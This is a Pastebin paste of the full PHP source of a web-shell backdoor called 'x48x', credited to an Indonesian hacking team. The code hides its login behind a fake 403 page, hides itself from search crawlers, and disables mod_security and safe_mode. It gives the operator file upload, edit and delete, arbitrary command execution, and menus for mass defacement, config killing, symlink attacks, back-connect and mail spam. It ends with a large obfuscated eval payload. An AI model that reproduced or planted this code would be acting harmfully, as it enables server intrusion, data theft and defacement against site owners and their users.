_Tuan2Fay_

Untitled

Aug 17th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 40.36 KB | None | 0 0
  1.  
  2.  
  3. <?php
  4.  
  5. /*
  6.  
  7. x48x Shell Backdoor
  8. Recode by : _Tuan2Fay_
  9. Version : 1.0
  10. Team : Garuda Security Hacker
  11. Site : https://blog.garudasecurityhacker.org
  12. Facebook : https://www.facebook.com/gshofficialpageindonesia
  13.  
  14. */
  15.  
  16. session_start();
  17. error_reporting(0);
  18. set_time_limit(0);
  19. @set_magic_quotes_runtime(0);
  20. @clearstatcache();
  21. @ini_set('error_log',NULL);
  22. @ini_set('log_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @ini_set('output_buffering',0);
  25. @ini_set('display_errors', 0);
  26. $auth_pass = "6e728e1a015ec418f999496a5f9212b7"; // pass : melodynl
  27. $errorforbidden = $_SERVER['REQUEST_URI'];
  28. $color = "#00ff00";
  29. $default_action = 'FilesMan';
  30. $default_use_ajax = true;
  31. $default_charset = 'UTF-8';
  32. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  33. $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  34. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  35. header('HTTP/1.0 404 Not Found');
  36. exit;
  37. }
  38. }
  39.  
  40. function login_shell() {
  41. ?>
  42. <?php
  43. $errorforbidden = $_SERVER['REQUEST_URI'];
  44. ?>
  45. <html><head>
  46. <title>403 Forbidden</title>
  47. </head><body>
  48. <h1>Forbidden</h1>
  49. <p>You don't have permission to access <?php print $errorforbidden; ?>
  50. on this server.</p>
  51. <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
  52. </body></html>
  53. <?php
  54. if($_GET['ez'] == 'login')
  55. {
  56. echo '<br><br><br><br><br><center><form method="post"><input type="password" name="pass"><button>Hai Wots?</button></form></center>';
  57. }
  58. ?>
  59. <?php
  60. exit;
  61. }
  62. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  63. if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  64. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  65. else
  66. login_shell();
  67. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  68. @ob_clean();
  69. $file = $_GET['file'];
  70. header('Content-Description: File Transfer');
  71. header('Content-Type: application/octet-stream');
  72. header('Content-Disposition: attachment; filename="'.basename($file).'"');
  73. header('Expires: 0');
  74. header('Cache-Control: must-revalidate');
  75. header('Pragma: public');
  76. header('Content-Length: ' . filesize($file));
  77. readfile($file);
  78. exit;
  79. }
  80. ?>
  81. <?php
  82. if (file_exists("php.ini")){
  83. }else{
  84. $img = fopen('php.ini', 'w');
  85. $sec = "safe_mode = OFF
  86. disable_funtions = NONE";
  87. fwrite($img ,$sec);
  88. fclose($img);}
  89. if (file_exists(".htaccess")){
  90. }else{
  91. $img2 = fopen('.htaccess', 'w');
  92. $sec2 = "<IfModule mod_security.c>
  93. SecFilterEngine Off
  94. SecFilterScanPOST Off
  95. </IfModule>";
  96. fwrite($img2 ,$sec2);
  97. fclose($img2);}
  98. $inids = @ini_get("disable_functions");
  99. $liatds = (!empty($ds)) ? "<font color='purple'>$inids</font>" : "<font color='white'>Aman cuk :v</font></b>";
  100. if(get_magic_quotes_gpc()){
  101. foreach($_POST as $key=>$value){
  102. $_POST[$key] = stripslashes($value);
  103. }
  104. }
  105. echo '<!DOCTYPE HTML>
  106. <html>
  107. <head>
  108. <link href="https://fonts.googleapis.com/css?family=Kranky" rel="stylesheet">
  109. <link href="http://fonts.googleapis.com/css?family=Fredericka+the+Great" rel="stylesheet" type="text/css">
  110. <link href="https://fonts.googleapis.com/css?family=Rye" rel="stylesheet">
  111. <link href="" rel="stylesheet" type="text/css">
  112. <title>x48x</title>
  113. <style>
  114. body{
  115. font-family: Rye;
  116. background-image: url("https://3.bp.blogspot.com/-Jp8DSj3p2Yo/WY8EkZpL4dI/AAAAAAAAAtU/9unFUiNWlpgQ7mRd3tukxZkFcmHlpmnCwCLcBGAs/s1600/Melody.png");
  117. color:purple;
  118. background-attachment:fixed;
  119. background-repeat:no-repeat;
  120. background-position:center;
  121. background-color:transparan;
  122. -webkit-background-size: 100% 100%;
  123. }
  124. #menu{
  125. margin:8px 2px 4px 2px;
  126. font-family:Rye;
  127. font-size:14px;
  128. color:silver;
  129. align:center;
  130. }
  131.  
  132. #menu a{
  133. padding:3px 6px;
  134. margin:1;
  135. background:pink;
  136. align:center;
  137. text-decoration:none;
  138. letter-spacing:2px;
  139. -moz-border-radius: 10px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
  140. }
  141.  
  142. #menu a:hover{
  143. background:black;
  144. border-bottom:1px solid #ffffff;
  145. border-top:1px solid #ffffff;
  146. }
  147.  
  148. #content tr:hover{
  149. background-color: pink;
  150. text-shadow:0px 0px 10px #fff;
  151. }
  152.  
  153. #content .first{
  154. background-color: pink;
  155. }
  156.  
  157. table{
  158. border: 1px #000000 dotted;
  159. }
  160.  
  161. a{
  162. color:violet;
  163. text-decoration: none;
  164. }
  165.  
  166. a:hover{
  167. color:blue;
  168. text-shadow:0px 0px 10px #ffffff;
  169. }
  170.  
  171. input,select,textarea{
  172. border: 1px #000000 solid;
  173. -moz-border-radius: 5px;
  174. -webkit-border-radius:5px;
  175. border-radius:5px;
  176. }
  177. </style>
  178. </head>
  179. <body>
  180. <center><font color="violet" size="7" face="Fredericka the Great">|&hearts;| x48x Web Shell |&hearts;|</font></center><br>
  181. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  182. <tr><td>';
  183. echo "System: <font color=violet>".php_uname()."</font><br>";
  184. echo "Disable Functions: $liatds";
  185. echo '<br><font color="purple">Path :</font> ';
  186. if(isset($_GET['path'])){
  187. $path = $_GET['path'];
  188. }else{
  189. $path = getcwd();
  190. }
  191. $path = str_replace('\\','/',$path);
  192. $paths = explode('/',$path);
  193.  
  194. foreach($paths as $id=>$pat){
  195. if($pat == '' && $id == 0){
  196. $a = true;
  197. echo '<a href="?path=/">/</a>';
  198. continue;
  199. }
  200. if($pat == '') continue;
  201. echo '<a href="?path=';
  202. for($i=0;$i<=$id;$i++){
  203. echo "$paths[$i]";
  204. if($i != $id) echo "/";
  205. }
  206. echo '">'.$pat.'</a>/';
  207. }
  208. if(isset($_FILES['file'])){
  209. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  210. echo '<script>alert("Upload Sukses Wots!");</script>';
  211. }else{
  212. echo '<script>alert("Gagal Upload Wots :(");</script>';
  213. }
  214. }
  215. echo '<form enctype="multipart/form-data" method="POST">
  216. <font color="purple">File Upload :</font> <input type="file" name="file" />
  217. <input type="submit" value="upload" />
  218. </form>';
  219. echo "<form method='post'>
  220. <font color='purple'>Command :</font>
  221. <input type='text' size='30' height='10' name='cmd'><input type='submit' name='execmd' value=' Execute '>
  222. </form>";
  223. echo "</td></tr>";
  224. echo "</table><br>";
  225. echo "<center><table id='menu' width='700' border='0' cellpadding='3' cellspacing='1'><tr><td>";
  226. echo "<center>[ <a href='?'>Rumah</a> ]<font color='pink'> ==</font>
  227. [ <a href='?path=$path&ez=crdp'>Create RDP</a> ]<font color='pink'> ==</font>
  228. [ <a href='?path=$path&ez=massde'>Mass Deface</a> ]<font color='pink'> ==</font>
  229. [ <a href='?path=$path&ez=conkill'>Config Killer</a> ]<font color='pink'> ==</font>
  230. [ <a href='?path=$path&ez=bypass'>Bypass</a> ]<br><br>
  231. [ <a href='?path=$path&ez=userchanger'>User Changer</a> ]<font color='pink'> ==</font>
  232. [ <a href='?path=$path&ez=cpcrack'>CP Crack</a> ]<font color='pink'> ==</font>
  233. [ <a href='?path=$path&ez=salto'>Salto</a> ]<font color='pink'> ==</font>
  234. [ <a href='?path=$path&ez=sym'>Symlink</a> ]<font color='pink'> ==</font>
  235. [ <a href='?path=$path&ez=bceng'>Back C0nnect</a> ]<br><br>
  236. [ <a href='?path=$path&ez=jones'>Zone-H</a> ]<font color='pink'> ==</font>
  237. [ <a href='?path=$path&ez=zip'>Zip Menu</a> ]<font color='pink'> ==</font>
  238. [ <a href='?path=$path&ez=cadminer'>Adminer</a> ]<font color='pink'> ==</font>
  239. [ <a href='?path=$path&ez=endeco'>Encode/Decode</a> ]<font color='pink'> ==</font>
  240. [ <a href='?path=$path&ez=about'>About</a> ]<br><br>
  241. [ <a href='?path=$path&ez=spam'>Mail Spam</a> ]<font color='pink'> ==</font>
  242. [ <a href='?path=$path&ez=csrf'>CSRF</a> ]<font color='pink'> ==</font>
  243. [ <a href='?path=$path&go=cabs'>LogOut</a> ]</center>
  244. ";
  245. echo "</td></tr></table></center>";
  246. if(isset($_GET['filesrc'])){
  247. echo "<tr><td>Current File : ";
  248. echo $_GET['filesrc'];
  249. echo '</tr></td></table><br />';
  250. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  251. }
  252. elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  253. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  254. if($_POST['opt'] == 'chmod'){
  255. if(isset($_POST['perm'])){
  256. if(chmod($_POST['path'],$_POST['perm'])){
  257. echo '<script>alert("Change Permission Sukses Wots!!");</script>';
  258. }else{
  259. echo '<script>alert("Gak bisa Change Permission Wots :( ");</script>';
  260. }
  261. }
  262. echo '<form method="POST">
  263. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  264. <input type="hidden" name="path" value="'.$_POST['path'].'">
  265. <input type="hidden" name="opt" value="chmod">
  266. <input type="submit" value="Go" />
  267. </form>';
  268. }elseif($_POST['opt'] == 'rename'){
  269. if(isset($_POST['newname'])){
  270. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  271. echo '<script>alert("Ganti Nama Sukses Wots!! ");</script>';
  272. }else{
  273. echo '<script>alert("Gak bisa Ganti Nama Wots :( ");</script>';
  274. }
  275. $_POST['name'] = $_POST['newname'];
  276. }
  277. echo '<form method="POST">
  278. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  279. <input type="hidden" name="path" value="'.$_POST['path'].'">
  280. <input type="hidden" name="opt" value="rename">
  281. <input type="submit" value="Go" />
  282. </form>';
  283. }elseif($_POST['opt'] == 'edit'){
  284. if(isset($_POST['src'])){
  285. $fp = fopen($_POST['path'],'w');
  286. if(fwrite($fp,$_POST['src'])){
  287. echo '<script>alert("Edit File Sukses Wots ! ");</script>';
  288. }else{
  289. echo '<script>alert("Gak bisa Di Edit Wots :( ");</script>';
  290. }
  291. fclose($fp);
  292. }
  293. echo '<form method="POST">
  294. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  295. <input type="hidden" name="path" value="'.$_POST['path'].'">
  296. <input type="hidden" name="opt" value="edit">
  297. <input type="submit" value="Save" />
  298. </form>';
  299. }
  300. echo '</center>';
  301. }else{
  302. echo '</table><br/><center>';
  303. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  304. if($_POST['type'] == 'dir'){
  305. if(rmdir($_POST['path'])){
  306. echo '<font color="white">Directory Terhapus</font><br/>';
  307. }else{
  308. echo '<font color="purple">Directory Gagal Terhapus </font><br/>';
  309. }
  310. }elseif($_POST['type'] == 'file'){
  311. if(unlink($_POST['path'])){
  312. echo '<font color="white">File Terhapus</font><br/>';
  313. }else{
  314. echo '<font color="purple">File Gagal Dihapus</font><br/>';
  315. }
  316. }
  317. }
  318. //////////////ini toolsnya ya om :)
  319. eval(str_rot13(gzinflate(str_rot13(base64_decode('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